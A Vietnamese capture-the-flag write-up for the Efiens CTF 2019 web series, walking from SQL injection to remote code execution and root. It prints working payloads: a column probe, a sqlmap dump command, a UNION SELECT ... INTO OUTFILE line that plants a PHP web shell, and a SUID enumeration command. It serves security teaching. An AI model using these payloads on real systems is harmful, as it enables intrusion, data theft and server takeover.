[Efiens CTF 2019 Write Up] Từ SQL Injection tới RCE và Get ROOT !

1. Về Challange

Đây là giải CTF của EFIENS Individual CTF, team hiện đứng thứ 3 VN trên CTFtime.org, được tổ chức bằng hình thức Jeopardy từ 24/11 - 1/12. Trong số các bài về Web có một series gồm 3 bài về SQLi => RCE => Get ROOT.

Qua các challange này, các bạn sẽ có thêm kiến thức về sự nguy hiểm của SQLi, cũng như việc upload reverse shell để thực thi lệnh trên victim, cũng như về Privilege Escalation trong Linux.

Bạn có thể chơi thử tại đây. Hiện tại sever vẫn đang mở. Docker sẽ reset mỗi 10 phút để tránh việc có người không may xóa nhầm các file quan trọng (VD mình lỡ xóa đi chút ít trong quá trình tìm đường lên Root ✌️ ).

2. Write up

2.1. SQL Injection

Website cho phép ta tra cứu thông tin của CSA officer theo ID, khi ta nhập ID vào, Website sẽ trả cho ta value tương ứng như hình dưới, với 4 cột cụ thể:


Để chắc chắn chỉ có 4 cột, ta nhập query:
10" order by 5# : Không trả ra row kết quả nào => Lỗi => Chỉ có 4 cột như trên

Dự đoán query phía backend:
SELECT id, name, username, email FROM TABLE_NAME WHERE id = $_POST['text']

Tuy là ban đầu làm mình inject query bằng tay và vẫn ra flag, nhưng với những trường hợp như thế này chúng ta vẫn nên tiết kiệm thời gian bằng cách sử dụng tools, cụ thể là SQLmap:
Câu lệnh: sudo sqlmap -r sqli.req --dump với sqli.req là file text chứa request gửi lên Web Server

2.2. Remote Code Execution

Từ SQLi to RCE, nhất là đối với website sử dụng LAMP Stack như website trên, các bạn có thể tham khảo video đã đươc trình bày ở DEFCON tại đây . Hình ảnh được lấy từ video.

.

Từ SQLi, chúng ta có thể ghi đè 1 file trên sever, trong trường hợp này mình sẽ tạo mới 1 file PHP với payload đơn giản bên trong:
<?php system($_GET["cmd"]); ?> và đưa lên Web Sever, Payload:

" UNION SELECT 1,2,3,'123 <?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/rce.php'#

Sau khi RCE thành công, việc đơn giản còn lại chỉ là cat flag.txt

2.3. Get Root

Về Privilege Escalation, chúng ta có 6 methods chính, trong bài này chúng ta sẽ sử dụng: Exploiting SUID executables. Bài viết chi tiết các bạn có thể tham khảo tại đây.

Trong bài này, khi đã netcat thành công, mình sẽ netcat thêm một lần nữa để có thể dùng 1 reverse shell dựa trên PHP. Như vậy sẽ dễ thao tác hơn.

Liệt kê tất cả các binaries có SUID permissions: find / -perm -u=s -type f 2>/dev/null

Với SUID time chúng ta có thể thực thi như Root:



Game là dễ, đến đây chỉ việc cat flag:

3. Kết luận

Đây là 1 challange mở và thú vị. Thông qua việc tìm các flag, các bạn có thể học thêm một số thứ về security và các lỗ hổng nguy hiểm đối với hệ thống.